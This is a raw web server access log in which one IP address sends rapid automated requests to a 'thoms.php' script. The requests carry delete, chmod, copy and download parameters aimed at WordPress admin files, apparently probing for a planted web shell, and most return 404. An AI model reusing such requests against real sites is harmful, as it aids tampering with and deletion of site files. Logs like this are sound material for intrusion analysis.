45.135.193.11 - - [12/Sep/2026:00:00:32 -0400] "GET /thoms.php?chmod=privacy-policy-guide.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=privacy-policy-guide.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:32 -0400] "GET /bfl.com.tw/wp-admin/load-styles.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:32 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&settings=1 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:32 -0400] "GET /thoms.php?del=link-manager.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=link-manager.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:32 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fplugin-install.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fplugin-install.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:32 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fpress-this.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fpress-this.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:33 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fterm.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fterm.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:33 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fupdate.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fupdate.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:33 -0400] "GET /thoms.php?chmod=user&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=user&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:33 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fedit-link-form.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fedit-link-form.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:33 -0400] "GET /thoms.php?del=options-writing.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=options-writing.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:33 -0400] "GET /thoms.php?del=site-health-info.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=site-health-info.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:33 -0400] "GET /thoms.php?del=widgets-form.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=widgets-form.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:33 -0400] "GET /bfl.com.tw/wp-admin/menu-header.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:33 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fedit-comments.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fedit-comments.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:33 -0400] "GET /bfl.com.tw/wp-admin/link.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:33 -0400] "GET /bfl.com.tw/wp-admin/images/ HTTP/1.1" 200 3218 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:33 -0400] "GET /thoms.php?chmod=upload.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=upload.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:33 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=upgrade-functions.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=upgrade-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:33 -0400] "GET /bfl.com.tw/wp-admin/link-parse-opml.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:33 -0400] "GET /bfl.com.tw/wp-admin/user/ HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:33 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fedit-tags.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fedit-tags.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:33 -0400] "GET /thoms.php?del=menu.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=menu.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:34 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=ms-delete-site.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=ms-delete-site.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:34 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin%2Fincludes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin%2Fincludes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:34 -0400] "GET /bfl.com.tw/wp-admin/edit-tag-form.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:34 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=about.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=about.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:34 -0400] "GET /thoms.php?dl=export-personal-data.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=export-personal-data.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:34 -0400] "GET /thoms.php?dl=ms-options.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-options.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:34 -0400] "GET /thoms.php?del=network.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=network.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:34 -0400] "GET /thoms.php?dl=tools.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=tools.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:34 -0400] "GET /thoms.php?chmod=admin-header.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=admin-header.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:34 -0400] "GET /thoms.php?del=edit-tag-form.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=edit-tag-form.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:34 -0400] "GET /thoms.php?del=ms-upgrade-network.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-upgrade-network.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:34 -0400] "GET /thoms.php?del=options-head.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=options-head.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:34 -0400] "GET /thoms.php?del=theme-editor.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=theme-editor.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:34 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fload-styles.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fload-styles.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:34 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fms-sites.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fms-sites.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:34 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=plugin-editor.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=plugin-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:35 -0400] "GET /thoms.php?chmod=admin.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=admin.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:35 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=custom-header.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=custom-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:35 -0400] "GET /thoms.php?del=authorize-application.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=authorize-application.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:35 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=contribute.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=contribute.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:35 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fcustomize.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fcustomize.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:35 -0400] "GET /thoms.php?chmod=export.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=export.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:35 -0400] "GET /thoms.php?dl=install.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=install.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:35 -0400] "GET /bfl.com.tw/wp-admin/ms-delete-site.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:35 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fms-options.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fms-options.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:35 -0400] "GET /thoms.php?chmod=post.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=post.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:35 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fadmin-ajax.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fadmin-ajax.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:35 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=admin.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:35 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=freedoms.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=freedoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:35 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fnav-menus.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fnav-menus.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:35 -0400] "GET /thoms.php?dl=press-this.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=press-this.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:36 -0400] "GET /bfl.com.tw/wp-admin/edit-link-form.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:36 -0400] "GET /thoms.php?chmod=theme-editor.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=theme-editor.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:36 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=user-new.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=user-new.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:36 -0400] "GET /thoms.php?del=admin-header.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=admin-header.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:36 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=load-scripts.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=load-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:36 -0400] "GET /thoms.php?del=media.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=media.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:36 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=moderation.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=moderation.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:36 -0400] "GET /thoms.php?chmod=options-permalink.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=options-permalink.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:36 -0400] "GET /bfl.com.tw/wp-admin/maint/ HTTP/1.1" 200 784 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:36 -0400] "GET /bfl.com.tw/wp-admin/admin-footer.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:36 -0400] "GET /thoms.php?del=post.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=post.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:36 -0400] "GET /thoms.php?dl=privacy-policy-guide.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=privacy-policy-guide.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:36 -0400] "GET /thoms.php?dl=admin-header.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=admin-header.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:36 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=media.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=media.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:36 -0400] "GET /thoms.php?dl=site-editor.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=site-editor.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:36 -0400] "GET /thoms.php?dl=customize.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=customize.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:36 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=load-styles.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=load-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:36 -0400] "GET /thoms.php?dl=widgets-form.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=widgets-form.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
